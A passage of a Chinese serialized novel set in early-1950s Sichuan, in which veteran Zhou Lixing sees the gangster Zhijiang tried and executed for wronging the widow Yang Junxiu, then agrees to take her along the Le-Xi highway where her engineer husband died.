结果一查,嘿,这致江还真的跟匪特有点关系。
致江以前在的堂口,因参与乐山到西康的乐西公路修建,死了许多人,从此一蹶不振;后来国民党退守台湾之前大量地给各地堂口发武器装备时,这个半死不活的堂口也是拿到了一些枪支弹药的。
不过这堂口没剩多少人了,老弱病残们没有给国民党卖命的心思,共产党的解放军进入成都,这边的老弱病残们直接找个地方把枪支弹药埋了,大家原地散伙。
没想到,致江却觉得自己是个人物,他先是悄悄把埋的枪支弹药换了地方,然后想方设法侵占了已故堂兄的家产,搞到钱出去用吃喝拉拢了一些地痞流氓,紧接着私下成立了不伦不类的兴龙堂。
说起来,这兴龙堂的茶馆和后面的院子,竟就是杨珺秀以前的家。
致松死后,杨珺秀母女被赶走,致松的父母很快也去世,这连铺子带院子的房产,便被致江给占了。
不过可惜的是,他这只队伍也就十来人,当时的西南各地剩余的杂牌武装动则几千上万人,随时可以“占山为王”,拉出来都可以当部队打,致江这点人特务们根本看不上,只让他先隐蔽潜伏下来,以图后用。
致江也是接了一些任务的,比如时不时在城里纵火,搞点爆炸,破坏电厂,以及时机合适的时候可以去暗杀新政权的干部和积极分子。
前面的事情他还见缝插针的做一做,后面的事情,他不敢。
毕竟,解放军的队伍们,在接手每一个城市后,都是先执行军管。
军管会下设公安机关,一部分是解放军、野战军就地转变的公安部队官兵,一部分是当地党组织吸收的积极分子、进步青年,还有一部分是经留用的政治历史干净、警务素质优秀、辖区人员地形熟悉的旧警察。
他们这点地痞流氓,恐吓下老百姓还行,哪敢跟打过仗的公安干警对上。
所以,致江明面上开茶馆建堂口,私下则是沿用了旧时代袍哥们的谋生方式——收过路费。
帮商人运货也好,自认为哪几条街是他的地盘便要挨家挨户去收保护费也好,或是去水运的码头耀武扬威问船主要钱也好,反正只要手里有枪,谁不怕他?
赵大石在办公室里看供词看得一脸铁青,拍案而起:
“该枪毙!这就是匪!抢街坊邻居的钱,抢船工挑夫的钱!这就是压榨咱们劳动群众!”
周立行端着茶盅喝水,没吭声。
因为他旁边还坐了个缩成一团的赵三娃。
“首恶必惩!”
赵大石在办公室里转来转去,突然指着赵三娃,浓眉倒竖,鼻孔猛张,“你!从犯!”
“呜哇啊啊……哥,我不要坐牢……我要跟你一样当解放军的!我不能坐牢啊……”
赵三娃扑通跪下,抱着赵大石的裤腿开始嚎啕大哭,裤子差点没给他哥扯掉。
“我加入这个什么破堂口还不到三个月,我就是被蒙蔽的群众啊……你不可以这样拿自己亲弟弟开刀,我也是劳苦大众……”
“嘿,老子就要大义灭亲,老子就喜欢拿自己亲弟弟开刀,这样更没人敢来求情!”
赵大石说得义正言辞,手里不停地拽裤腰,忍不住给亲弟弟一个窝心脚,踢翻了三娃子。
三娃子开始满地撒泼打滚。
周立行看得想笑,他见赵大石苦大仇深地不停地瞥自己,便知情识趣地递台阶:
“这孩子确实没有真心跟他们混,当晚都是躲着我的,没有上手跟着一起打。”
周立行这么一说,赵大石才不自然地哼哼两声,“哼!看在有剿匪英雄为你说话的份上,就按实际情况处理吧,不专门收拾你了!否则,从重从严办你个典型!”
赵三娃这才缩到一边去抹眼泪,又被赵大石一声“还不快滚”给吓得跌跌撞撞跑了。
致江这边已经在走审判程序,此时的审判程序也十分简单。
他参与过敌特活动,除了纠集人员殴打杨珺秀的父亲和弟弟,还被小弟供出来打死过不肯交
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保护费的挑夫,那可怜的挑夫被丢进了江里,早已成了水下冤魂。
这致江肯定是要被枪毙的,他的财产该赔付的赔付,该充公的充公。
“我去带杨珺秀母女回来,参加公审大会,以及,拿回属于她们母女的财产。”
周立行站起来向赵大石告辞。
赵大石点头,“你们也是有缘分,你叫俊秀,她也叫珺秀……”
周立行摇摇头,“我那是化名,她是真名。”
“化名?!”赵大石惊呆,“你跟我们一起出生入死这么久,你跟我们政委用化名?!你!你这是不信任我们啊……”
周立行伸手拍赵大石的背,“江湖习惯,不用真名。大石,转告政委,谢谢他的看重。”
赵大石却十分不甘,红着眼眶摇晃周立行,十分地用劲:
“你骗我们,你竟然骗我们!”
“你一身的本事,又会开车又会打仗,政委说要让你入伍给咱们当丛林中的教官呢……我们申请报告都给上面打了,你竟然用假名!你个骗子……”
周立行难得有些心虚,他举手做投降状,一步步往门的方向退。
“没骗你们,我是真的有病。大石,我是在战场上被炸飞下山崖的人,当年美国医生都说我脑子里有淤血,脑神经受损的。”
“我当年在云南痴傻了几年,回老家遇到伤心事,又疯癫了快一年……当初进峨眉山的匪军枪声惊醒了我,后来才跟着你们走的。我一直时不时的,会看到幻觉。”
“看到树林,总会觉得耳边有日本人的刺刀破空声……看到公路,总会觉得自己开着车,四周是日本的飞机在轰炸……看到人群,总会觉得他们是滇缅公路上逃命的人……”
周立行轻声地说着,表情变得悲悯哀伤。
赵大石回忆起刚刚接到周立行的时候,那个时候他还是解放军的一个营长,当初他只觉得周立行爱发呆,动不动就半天不回神,喊他的时候都得小心点,不然容易挨揍。
没想到,现在才知道,人家那是犯病……
“你……你以前咋不说呢,我们有军医院……”
这下换赵大石心虚了,他们竟然!一直让一个病人帮队伍做事……天呐!
周立行叹口气,“那个时候,我也想跟你们一起走,当时我还有许多事情要做,跟着你们方便。”
赵大石瞪大眼,这是什么意思?
政委,他需要政委……
“现在西南剿匪基本平定,各地的袍哥堂口也宣布解散了,我留下来没什么用。”
周立行语重心长,他不想之后赵大石到处发动战友来找自己,那可多麻烦啊。
“你当年也是进过堂口的,应该听过这句话吧——袍哥人家,沟死沟埋,路死插牌。”
“我现在就想自由地走一走,也许到什么地方觉得合适了,就停下了。”
赵大石再瞪眼,周立行回以沧桑的目光,最后赵大石泄了气。
“算了,随你吧。哎,你回来,换身衣服吧!”
周立行换上了赵大石提供的新衣服,草绿色的中山装和公安部队的衣服同色,衬得人更是利落挺拔。
他从派出所中走出,动身去接杨珺秀,准备了结这一桩委托。
然后接下来……周立行有些茫然。
他并不知道,自己接下来到底到底该做什么。
心中空荡荡,身如不系舟,随波逐流……他现在只是暂时地遇到了杨郡秀的事情,便在此处稍作停留……
或许,他应该去方大哥牺牲的地方看一看,再或许,他应该回到滇西的密林里,去把冯争鸣、沐明实、石娃子、谷娃子、唐浩子以及那些游击队员们的尸骨找到……
如果还是找不到,那干脆,就回去梨花树下挖个坑……
82.乐山
杨珺杰嘴里说着不信,这几天却等得抓耳挠腮,每天早晚都在门口翘首以盼,。
杨珺秀则是安安静静地待在桂花树下,趁着这几日秋光好,把另外一个枕套的花样也绣好了。
这次,她绣的是一只高飞的凤凰,四周是彩云,她甚至拿出了自己压箱底的金银线,就为了把凤凰绣得漂亮些。
她听完周立行的故事,深深地为那位王喜雀感到惋惜。
这是一个多么坚强的女人啊,她明明一身经商才华,却被旧社会的礼法压迫压榨,但她依旧那么勇敢,她帮助了许多人,还冲破了束缚,跟着弟娃远走高飞。国难当头的时候,她送夫抗日,坚守家中,这是多么的伟大。
命运弄人,王喜雀病逝,如同自己的丈夫一般,造化弄人。
杨珺秀觉得只用一个梨花枕套当谢礼太薄,便自己做主,将另外一个枕套也绣成了凤凰。
展翅高飞,涅槃重生的凤凰,既当做是对喜雀姐的意象,也当做是对周立行的祝福吧。
“姐,你说这个周立行,到底行不行啊!这么多天了,都没个音信,这人看起来也不像来骗枕套的啊……”
杨珺杰愁眉苦脸地蹲在姐姐身旁,唉声叹气。
杨珺秀用剪刀剪完最后一针金丝线,她忍不住地摇头,“弟娃,你都十八了,怎的还这么沉不住气哦。”
“我当年才十四岁就敢跟着老汉儿去抢你回来,我沉得住屁的气!”
杨珺杰不高兴了,开启道德压制。
此话一出,杨珺秀只能点头称赞顺毛,“哎,对,是……弟娃你最好了,姐姐可不能没有你”
“要不是怕咱家一窝都是女的,没了我,别人要欺负你们,我早就想去跟致江同归于尽了……咱们爹说是病死的,还不是被他们打成重伤才生的病……”
杨珺杰说着说着开始咬牙切齿,他心中始终是有仇恨的,只不过是被理智压抑着,没有机会展现。
杨珺秀放下剪刀,神色落寞,“是我的错……”
“你有什么错?”
周立行从巷口走进来,接上了杨珺秀的话。
“你的丈夫是因为工作而死的,与你无关。你的父亲是被恶人打伤的,错在致松的父母无德,错在恶人心肠歹毒。”
周立行一步步地走着,语气中全是看破世事的平稳沉着。
“你的父亲是为救你离开,你要好好活着,能幸福快乐,他的牺牲才有价值。”
杨珺秀喉间一酸,她站起来往前走了两步,“……周大哥……”
她和他四目相对的时候,她原本想说的话突然断了,杨珺秀顿了一下,问出了一个莫名其妙的问题:
“……那你呢?你会好好活着吗?”
周立行停下脚步,他竟是被杨珺秀这句话问到不知如何回答。
他身边死去的人,更多,更沉重。
风吹过桂花树,落下一些细碎的花瓣,落到了周立行头上,落到了杨珺秀手里的枕套上。
周立行突然想到,自己已经很久没有梦到过故人了。
那个说着要保佑他的黑老鸹,那个寄回来四封家书全都是给他的方结义,那个说要等他回家的王喜雀,差点死不瞑目的冯争鸣,期盼着胜利的沐明实,无法回家的石娃子谷娃子……
“死,是很简单的事。活着,不容易。要活好 ,更难。”
周立行拂落头上肩上的桂花瓣,垂下眼,眸光微闪。
他不再正面回答,而是转移话题:
“致江被人民警察给抓了,现在审出来的罪状,应该会判死刑。我来接你们,明日一起去参加公审大会。”
听到这个消息,杨珺杰一跃而起:
“真的?!你说真的!!!”
消息自然是真的,周立行拿出了通知,黑子白字写的清清楚楚。
杨家两姐弟高兴得相拥而泣,他们冲进去告诉家中母亲,满头白发的老妇人也走了出来感谢周立行。
“这位大哥,感谢你,太感谢你了……珺秀她爹的仇,终于能报了啊……天姥爷开眼了啊……”
周立行赶紧上前扶住老人家,“婆婆,不用谢我,是解放军公安大队去抓获的。”
杨珺杰瞪大眼,“警察?共产党的警察还真的会管这事儿?”
不是杨珺杰没见识,几年前还是国民党政府那会儿,他是去过警察局的,结果人家要收钱不说……最后还是偏袒了当袍哥的致江。
他们杨家哑巴吃黄连,有苦说不出,塞了许多钱,把家里的毛豆腐厂都给卖了,才换得警察们的帮助,把姐姐留在了家里。
周立行想到曾经一起战斗过的战友们,他十分相信这群人,肯定地回答:
“今时不同往日,共产党是给咱们穷苦人打的天下,毛主席说了,人民要当家做主。现在的警察,叫人民警察,是为了咱们老百姓办事的公仆。”
“现在进派出所找警察,不用给钱;去政府找干部,也不用托人情。咱们老百姓的诉求,就是他们必须去干的工作。”
杨珺杰眨巴着眼睛,回头看姐姐。
杨珺秀这几年心神不稳时不时地疯傻在家,对外界没有了解,只能是听周立行说着。
老人家更是不懂,她年轻的时候也是跟着丈夫开作坊卖毛豆腐的,算得上半个生意人,见过许多的人物,老头子被打伤的时候,是她拿着钱和杨家其他亲戚去的警察局,属实是见过太多吃拿卡要和偏袒人情的警官。
他们也在外面听解放军们讲“清匪反霸、减租退押”,一批批地枪毙特务匪爸,吓得地主老财们踊跃退还当年穷苦人家的抵押物。
可老人家已经老了,杨珺杰又还年轻,他们心里总是不踏实的,不敢轻易相信新政权。
“明日你们去看了公审大会,看着那致江被宣判后枪毙,肯定就信了。”
周立行笃定地保证。
既如此,老人家盛情邀请周立行去家中吃饭。
周立行推脱不了,便跟着去吃了一顿饭。
哪知道杨珺杰高兴过头,自告奋勇地跑出去找餐馆,专门买了凉拌腊猪头、翘脚牛肉汤锅,还打了一斤白酒,宛如过年一般地备上蔬菜水果,真心诚意地想要表达谢意。
推杯换盏,平日里不怎么喝酒的杨珺杰醉了,开始拉着周立行说胡话。
“周大哥,你真当过舵把子啊?”
“嗯。”
“那以前,是不是很威风?”
“很久以前,是的。青羊宫的打金章,成都的袍哥大会,都很威风。不过,我觉得最威风的,还是忠义堂上一任舵把子带人出川抗日的送行宴……”
“之前的,是,方结义方舵把子?我听姐姐讲了一些……他厉害,他是抗日英雄……你,你也厉害,姐姐说你也去滇西,打过日本人……”
周立行无奈地抬头看杨珺秀,这两姐弟感情果真是好,自己给杨珺秀讲了一通,她倒是立马就跟弟弟都八了一通。
杨珺秀带着女儿玉闺儿吃饭,玉闺儿很是乖巧,圆溜溜的大眼睛看看这个,看看那个,并不说话。
感受到周立行的目光,杨珺秀抬头,她略微有些不好意思地抿嘴微笑,可转念一想,这不是周立行自己讲出来的吗?她只是给弟弟讲,不算乱摆龙门阵。
于是杨珺秀理直气壮地端酒杯,“敬抗日英雄。”
周立行端起酒杯,却是对着天敬了一杯,然后把酒撒到了地上,“敬,所有死在战场上的兄弟姊妹。”
杨珺秀愣了下,跟着把酒撒到地上,“敬,所有逝去的亲朋故旧。”
杨珺杰醉得满脸通红,拉着周立行的胳膊肘继续嘀咕,“周大哥,你后来去干嘛了?我姐就讲到你在峨嵋山醒来,都当上野人了……可那时到现在有两年多了呢!你没讲完,我好想知道后续……”
周立行无奈地拉开杨珺杰的手,“去报仇,寻故人亲眷,跟着部队打土匪,收拢各分堂再解散……好了,讲完了。”
“你这太敷衍了!”
杨珺杰嗷嗷地喊,“不行,你得仔细讲!难道你跟别的男人一样,看上我姐了?凭什么你就能跟她讲那么多……”
杨珺秀杏眼圆睁,手里夹着的一块齁咸的泥豆腐想也不想便往自家弟娃嘴里塞。
杨珺杰猝不及防,转头哇地吐了出来。
“抱歉!弟娃喝醉了,口无遮拦……”
杨珺秀赶紧起身致歉,她看得出来,周立行愿意帮她,只是因为当时恰好遇到了她。
周立行人善心诚,经历太多。
他失了活下去的动力,却又被当年那么多爱过他帮过他的人们叮嘱过好好活,这对他既是保护也是压力,他看似正常,却如风吹浮萍一般孤寂无助。
这样的人经历过太浓烈的爱恨,枯竭的内心不会轻易复苏。
而杨珺秀自己,也是如此。
她未曾对外人讲,可她曾经的丈夫也是十分优秀的,他是明月青松一般的能人志士,他和她青梅竹马感情真挚,他在家国飘摇的时候远去国外求学,回来之后又一心扑在了国家道路建设上……
她为何会时不时失去神志看到幻觉,为何会被人当做疯癫?
因为她对致松的爱意,依旧压在心神的伤口上,她未曾真正接受致松的离去……
周立行也站了起来,他看得懂杨珺秀的眼神,他和她都是失去挚爱却未曾接受命运的人。
他懂杨珺秀,这是一个心地善良做事妥帖的女人,只是习惯地会温柔地对待身边的事物。
这两人相互看着,皆是坦然一笑。
当晚,
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周立行被杨珺杰拽着拉着住在了杨家,家中只有四间房,除了堂屋厨房便只剩下两间房,周立行被杨珺杰拉进了自己的房间,一直嘟嘟哝哝地让周立行给讲西南剿匪的事情。
周立行不胜其烦,最后温柔地摁下了杨珺杰的昏睡穴。
然后他躺在了绣着凤凰的枕套上,难得地陷入了一场沉眠。
梦中,似乎有一个温柔宠溺的声音在呼唤:
弟娃啊,莫要回头,往前走,你要好好活下去呀……
*
乱世初定,要想震慑住那些能在战乱中生存下来的恶棍匪徒,就必须严刑峻法,否则后患无穷。
建国初期,各地消息不便,对于那些穷凶极恶的匪特人案件,往往是召开公审公判大会进行。
在人流量多的地方召开公审公判大会,在那个大多数人不识字、贴布告都需要有人专门守着念的时代,是非常具有传播力和震慑性的。
人民可以听原告陈述案情,听公安机关讲述案件调查经过、呈现证据,最后法官宣布这些罪犯违背了什么法律,并询问大家:
“该不该杀?”
众人的情绪会被调动,他们会明白什么是作恶,什么是违法,什么事不可做。
正义的人会一起高喊“该杀!该杀!”,心怀鬼胎的人会在呼天啸地的呐喊声中惧怕,从而收敛行为。
周立行不是第一次看公审公判,挤在他旁边的赵三娃确实真真正正地被这浩大的场面震撼到。
“周大哥,谢谢你帮我说话,不然我今天也要站到台上了……我肯定会被吓尿……”
赵三娃心有余悸地拽着周立行的袖子。
因杨家姐弟俩要上台去控诉,老人家年纪大力气不足,周立行便把玉闺儿抱着肩膀上坐着,赵三娃拉周立行另一边的袖子,搞得周立行像是拖儿带女一般。
“我哥说,以前袍哥开堂会审犯错之人,差不多也是这个模式,真的吗?”
赵三娃还在嘀嘀咕咕。
周立行想了想,回答道:“有些相似,但没这个好,这个更威武,过程更规范,能教育更多人。”
“袍哥的时代已经过去了,三娃子,去新时代建功立业,别看以前了。”
赵三娃缩了缩脖子,不敢再吭声。
致江被押着跪在台上,他一只垂着头,没有任何辩解,等到最后宣布立即执行枪毙的事后,才抬头看向了上台控诉他的杨珺秀。
他早知道自己难逃一死,但此刻仍旧想在最后的时刻,做一个狰狞的表情吓唬杨珺秀,让这个疯婆子以后日夜难安。
然而,杨珺秀身后不远处,站着那晚上杀神一般的男人,明明人群拥挤,那人却仿若定海神针一般稳稳地站立着,周围人挤来挤去,愣是没挤动他半分。
而那个男人,微微眯着眼,眼神仿若可以刺伤人一般,就那么盯着他。
致江的狰狞表情没做得出来,便看到了周立行,宛如站在刀山火海中,杀意逼人。
他明明马上就要死了,明明可以不用怕对方了,可却条件反射地扭开了头。
就这么一错开,致江便被执行队的人带走了。
紧接着一声枪响,了结了这一场恩怨。
目睹致江被枪毙后,老人家哭得晕了过去,她丈夫并不是被围殴回来就死的,而是缠绵病榻大半年才走,这让他们一家人心中有恨却找不到落脚点。
就像杨珺秀一开始跟周立行说话,只敢说想要回亡夫遗物,不敢跟陌生人提还有这般血仇。
眼下大仇得报,杨珺秀也是痛哭了一场,她情绪波动大,接下来反应便有些迟钝。
周立行一看她这样,便知道她不能再受刺激。
然而此时,派出所的公安同志们,需要带着杨家的人去了致江的茶馆,也就是曾经杨珺秀的丈夫致松的家,指认哪些是致松的遗物。
杨珺秀眼前时不时地闪过各种幻觉,一会儿是致江狞笑着威胁她的样子,一会儿是父亲和弟弟被残忍殴打的场面,但她还是能听到看到现在的一些情况。
“我要去……我有个箱子,放着从小到大致松送写给我的所有书信……还有他给孩子的遗物……”
杨珺秀一手死死抓着弟弟的胳膊,眼泪挂在睫毛上,眼神不聚焦,说的话也是颤巍巍的。
在没有任何人有攻击行为的情况下,杨珺秀时不时地往旁边躲,表情时而惊恐时而爱上,很明显,她已经开始犯病。
这下杨珺杰犯了难,他下意识地看向周立行,“这咋办?”
很明显,杨珺杰和老人家都认不得致松的遗物,只能杨珺秀去,可杨珺秀现在这个状态……
周立行好人做到底,帮着拿主意,“我觉得,还是让珺秀去。我陪你们,中途若是真有什么情况,我可以帮忙。”
83.乐山
这年头的疯病,无药可医。或有老中医会把一把脉,开一些汤药,但老中医也会说,心病还需心药医。
杨珺秀的执念是什么,周立行不知道,但他晓得,一味的躲避是解决不了问题的。
他自己的经验是,有什么执念,就去完成。
杀该杀的人,报该报的仇,还该还的恩,这样做完……他虽然没痊愈,但至少好了大半。
所以,周立行觉得,杨珺秀应该和他差不多。
在周立行的建议下,带着一老一病一幼儿的杨珺杰定下了主意,干脆就全家一起去好了。
公安这边派出了两个干部跟随去做记录,一行人跟着去到了杨珺秀以前的家。
致江占了这家产后,将外面三间铺子被改做茶馆,里面的堂屋大厅连通左右的两间屋子做了堂口,自个儿占了左边的三间屋子,一间自己住,剩下两间是用来招待他那些狐朋狗友。
毕竟是想要当大哥的人,不给小弟们吃喝住,别人可不一定跟他。
原本右边的三间屋子,是以前致江的书房、杨珺秀和女儿的住房,以及一间存放各类物品的库房。
库房里堆放着大大小小的木箱和各类茶叶茶具,同时存放了一些粮食工具。公安干部们打开那些木箱,大的里面装了好些枪支弹药,小的则是塞满了已经停用的废纸金圆券。
原本杨珺秀和女儿的住房则是乱七八糟的,看起来似是有人住过的痕迹。
据堂倌们说,致江有时候会带一些哭哭啼啼的女人回来到这边安置,至于为什么哭哭啼啼,是否为致江强迫,堂倌们就说不清楚了,他们偶尔能见到的都是晚上关店离开的时候,并说自己从未看清过那些女人的脸。
公安干部们不再细问,这个时候人民的思想还是很保守的,非要刨根究底去找人,最终只会害死那些可怜的女人。
反正致江已经被枪毙了,活着的人最好能忘却伤痛,重新开始好的生活。
他们只需要不停地把这些作恶之人抓出来,该杀的杀,该关的关,这世道就会越来越平安的。
最后是致江的书房,满墙的书架上全是各类书籍。
也不知道是出于什么心理,可能因为致江不喜欢书,也可能是致江多少对堂兄还有点血脉情,他没有改动这里,也没有把这些书给卖掉。
书的种类很多,看得出来原主人是十分真爱书籍的,尤其是里面有个金丝楠木的书架上,用布套装起来的全是洋文书。
公安干部们翻了翻,有些咋舌,他们也看不懂,只能说从图画中能看出来是桥梁道路相关。
“留过洋的读书人?”
“听闻是解放前夕,去抢修垮塌的乐西公路,工程师和施工队一起被泥石流给埋了……”
“真可惜,这家男主人要是还在,还能一起建设新中国呢……”
周立行拿起一本手札,封面上写着《乐西公路行记》,他翻开来,上面的钢笔字迹清瘦有力,俗话说见字如见人,杨珺秀的字娟秀温婉,这直致松的字则是清俊坚定,两人定是十分般配的。
“……岩层松散,易垮塌……海拔高,昼夜温差大……蓑衣岭雨雾迷漫,岩石陡峻,听闻此处曾一夜间冻死三千工人……川康地区彝汉等族,筑路民工二十四万余人,伤亡三万余人……望抗战胜利,不负众人牺牲……”
周立行随手一番,便看到了这些描述。
他想起来刘五嬢曾经说过,当时为了修建这条公路,雅安、乐山、峨眉等地征发了二十万多万劳工。
当时的唯一国际通道滇缅公路要送物资到重庆和前线,路线是要绕行贵州,而重庆一旦失守,国民政府将要迁都西昌。
乐西公路修好,是作为四川以及西康通往缅甸国际公路最直接的通道,是抗战后备公路。
当地的袍哥堂口们,本就是靠山路水路为生,他们无论是为了利益还是为了家国,都大量地出了青壮。
作为曾经全程参加滇缅公路修建的周立行,心中生出了惺惺相惜之情。
留洋归来的青年才俊,在新中国解放大西南的前一年,牺牲在了疏通道路的事故中,这是多么的让人意难平。
自被赶出家门,已经过去四年了,杨珺秀走进这书房,她浑身都在细细颤抖。
这是她曾经生活多年的家,仿佛还沾染着爱人鲜活的气息。
她记得致松明朗的笑容,他抱着女儿参观书房,指着那些洋文书说闺女快快长大,以后跟爸爸一样去留洋读书呀。
她记得致松离家之前给她的拥抱,温暖的阳光穿过窗棂照进来,他说我很快就会回来,垮塌段修起来很快,最多就是大渡河上的桥梁修复耗一些时间,我会给你写信的。
然而,爱人一去不返,甚至连遗体都找不到。
大家都说致松死了,可若是真的死了,怎么就不能把人挖出来,送回来呢……
生要见人,死要见尸啊,万一……万一人还活着呢?
就像周立行那样,万一被人挖出来了,万一致松也只是撞到脑袋,痴傻了呢?
杨珺秀身形纤细,她瘦弱的手臂扶着书架,眼泪止不住大颗大颗地落,她蹲了下去,在书架的底部柜子里,找到了一个带锁的纯铜箱子。
这箱子的锁已经被砸开,里面空荡荡的。
“我的信呢……”杨珺秀呢喃着,眼神失去了焦距。
一个公安干部蹲下来,拿着砸坏的锁看了看,叹口气,“这致江多半以为里面藏着什么值钱的东西吧,砸开看到全是书信的话,可能会恼羞成怒地撕毁丢弃……”
杨珺秀整张脸都被泪水沾湿了,她面色苍白地望了说话的公安干部一眼,整个人软倒了下去。
周立行赶紧把手里的行记收起来,他离得近,比杨珺杰还先到一步,将杨珺秀打横抱了起来。
杨珺秀已经失去意识,晕了过去。
当事人晕了过去,杨珺杰和周立行商量,他们现在家里地方有限,也没办法把所有的书都搬回去。
“挑一些书籍带回去,剩下的,不如捐献给政府图书馆?这样书籍能被好好保存,说不定还可以帮助一些人。”周立行建议。
大家经过商议,都同意这个办法。
最后,杨珺杰还是委托周立行替姐姐挑选书籍:
“你是参与过滇缅公路修建的,你替姐姐选书吧。”
周立行应了下来,找了两个箱子来,将他认为有收藏价值的、玉闺儿日后也许可以用的,以及致松个人手写的一些游记日记放了进去。
等周立行绑好箱子,用扁担挑起来的时候,杨珺秀幽幽转醒,却整个人陷入了恍惚。
“去乐西公路……我要去乐西公路……”
“我要去找致松……”
杨珺秀起身就往外走,压根不理会任何人。
杨珺杰目瞪口呆,追上去抓住姐姐,“姐!你……哎呀不去了,找不到的!”
“我要去乐西公路找致松。”杨珺秀根本不看弟弟,目光迷蒙,挣开弟弟的手就要往前。
疯傻之人的力气无比大,杨珺杰竟然拉不住姐姐,周立行放下扁担箱子快步上前,将快要冲进大路的杨珺秀拉了回来。
“放开我!你放开我!我要去找我的丈夫……他或许,或许跟你一样,没死呢!”
杨珺秀整个人的思路已经钻进牛角尖,她已经无法再思考,只有一个必须要完成的执念。
周立行双手控制住杨珺秀
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的肩,他温声问道,“我是谁?”
杨珺秀眨了眨眼,混沌的大脑开始思考,“周……周立行,周大哥?”
“这个呢?”周立行把杨珺秀掰向杨珺杰。
“……”杨珺秀摇头,眼神迷蒙,“周大哥,带我去找致松,好吗?你命硬,你能活,你帮我找找?我放不下,我觉得他说不定还活着呢……”
杨珺杰长大嘴,满脸不可置信,“我从小和你一起长大,周大哥跟你才见几次啊?!你……我……先人板板欸!”
他不是不能接受姐姐认不出他,毕竟以前姐姐犯病的时候也经常认不出家里人。但姐姐此时却能认出几面之缘的周立行,他是真的酸了。
周立行和杨珺秀对视,他有些迟疑。
“周大哥,我委托你,帮帮我,好吗?”
“他们都不让我去……他们只说是山垮了,所有人都被埋了……他们不让我去……”
“让我去呀,让我去看看……我都没有去过……”
杨珺秀的眼睛很大,睫毛浓密,虽然泪水蒙蒙,眼神哀滞,眼底却有一股子执拗,这事她非做不可。
她本就心结难消,身形瘦弱,若是真的逆了她的心愿,也许命不长久。
“山穷水尽寻活路,袍哥能结万人缘。”
周立行喃喃地说出脑海里一闪而过的话,那是黑老鸹的教导。
如同当初紫苏求助到了黑老鸹,如今杨珺秀也是求助到了他。
都是筑路人,也都是期盼爱人归来的家眷……这是委托,他可以接的。
“好。”周立行答应了。
“我带你去走一趟乐西公路,带去你解心结,了心愿。”
在周立行答应带杨珺秀去找人之后,杨珺秀总算是暂时安静了下来。
杨珺杰本是想反对的,却被老母亲拉住了。
老母亲年轻时候也是个聪慧能干的人,她看人不说十分准,也有八分靠谱。
这个周立行是个有担当的人,不管是带珺秀去解心病,还是二人能有进一步的发展,都是好事。
这年头相信一个人不容易,但相信了,就能全身心地交付。
*
也是时机凑巧,就在周立行开始筹备如何去走一趟乐西公路的时候,赵大石让三娃子来找周立行。
周立行去和赵大石碰面,赵大石给周立行找了个短期工作。
“这批车辆需要运输物资到西昌,车队一共有60辆车,本是要出发了,结果病了好些个司机,备用司机也有一些突发情况,前面的车队已经出发了,留下的这几辆单独组个小队再走。”
“战友托我找人,嘿,我一下子就想到了你。你那车开得极好,政治素质信得过,战斗经验充分,走一趟乐西公路,没问题吧?”
这对周立行简直是瞌睡来了递枕头,他正好要去乐西公路走一趟。
“有空位吗?我能带个人吗?”周立行立即询问。
“可以的,车队会配备保卫人员,以防路上遇到什么意外。你这个车,可以空一两个位置……话说你要带什么人?”
赵大石对周立行放的很宽,能力范围只能可以答应的,他都答应。不过,他还是好奇地多问了一嘴。
“杨珺秀。她想去乐西公路走一趟,看一看她丈夫牺牲的地方。”周立行诚实地回答。
赵大石纯真正直的眼神闪过一丝促狭,他清了清嗓子,乱七八糟地说道:
“哎对,哎是,哎好事,哎可以可以,行的,你们两个同病相怜,一起走走,说不定两人的病一起治好了呢……啊哈哈哈……”
周立行没听出来赵大石到底想表达什么,以为对方是在祝福,便回答道:“好的,谢了。”
84.乐西公路
杨珺秀这几天都是痴痴傻傻的,颇有些当初周立行在昆明未曾清醒的样子,生活还能自理,就是没法跟人正常交流,嘴里一直念叨的就是要去乐西公路找致松。
杨珺杰小小年纪已经要做工养家,玉闺儿太小不能跟着去,老人家年纪大了经不起波折,这下周立行也有些犯了难。
周立行虽然在男女之事上差根筋,但也不至于自己一个人就带杨珺秀上路。
他机缘巧合得到这份临时任务,解决了去乐西公路的交通问题,接下来便是要邀约那么一两个合适的人员同行,最好,能有女同志一起。
当年的滇缅公路运输队,许多队里会配备1-2名女队员,女队员们一般承担的是通译和卫生员的职务,同时也会负责清点货物、登记造册等工作。
他当时的车队,因为沐明实带人加入,女队员的数量是比较高的。
现在新中国刚成立,汽车兵并不多,驾驶员更是紧缺人才,女队员更少。
这留下来的几辆车,没有女性。
杨郡杰也不太放心姐姐单独跟一个男人出去走那么远,他见周立行是认真地思考到底该邀请谁一起上路,脑瓜灵活的他,倒是有了想法。
“我这几天看前姐夫留下的书,乐西公路是从峨眉那边过去的……”
“周大哥,你这趟回来,去找过刘愿,哎,是平还是安来着?就跟你一起去修滇缅公路,双腿被砸断的那个英雄?”
杨郡杰听姐姐转述过周立行的故事,他记得事情,却记不太清名字。
“刘愿平是哥哥,妹妹叫刘愿安。”
周立行想起了故人,刘愿安两口子不知是否还在乐山,当初王喜雀办的纺织厂便是在五通桥,还有花烟馆的那些姐妹们……他来这里这么久了,还未曾去看过。
“他行动不便,应该许久没有出过门了……他的妻子如果愿意一起出门,我想,他应该很想四处看看吧……”
杨郡杰这个想法,有着独属于少年人的异想天开,纯属于灵光一闪之后的胡说八道。
可周立行却听得恍然,当年刘愿平双腿残疾回到四川后,甚至没有来得及去看一眼修好的滇缅公路。
若是真的要走这一趟,那不如,从乐山到西昌,再从西昌到会理,会理到昆明,重走一次滇缅线,再走老路去一趟重庆,再回成都。
打定主意,周立行先去寻刘愿安,毕竟他多年未曾和刘家人联系,也不知道他们近况如何。
有派出所赵大石的帮助,很快便找到了住在五通桥的刘愿安夫妇。
已经三十多岁的刘愿安,晃眼一看,宛如年轻时候的刘五嬢。
她后脑勺上挽着圆圆的发髻,插着峨眉刺当发簪,眉眼已经爬上了皱纹。此时的刘愿安,是国营纺织厂中的车间主任。
刘愿安见到周立行,足足愣了快一分钟,才认出这个多年未见的兄弟。
她呀地叫了一声,快步上前,激动不已:
“立行兄弟,你还活着!太好了!你还活着……”
周立行笑了笑,向刘愿安伸出手,“你好,刘愿安同志。”
他看到刘愿安的胸口,有一个党徽。
刘愿安伸出手,两人握手,她颇有些不好意思地说:
“这纺织厂……抗战后差点没保住,让人抢了去,还威胁我们夫妻必须继续管理,我们倒是可以走,可又放不下你送来的那些姐妹们和其他女工,只能一直憋着气跟那些人斗智斗勇……后来解放了,我们两口子干脆做主,把厂子和其他财产都捐献了……”
周立行点头,他经历几番生死,根本不在意这些身外物:
“好的,可以的,喜雀姐如果还在,一定也是同意的。”
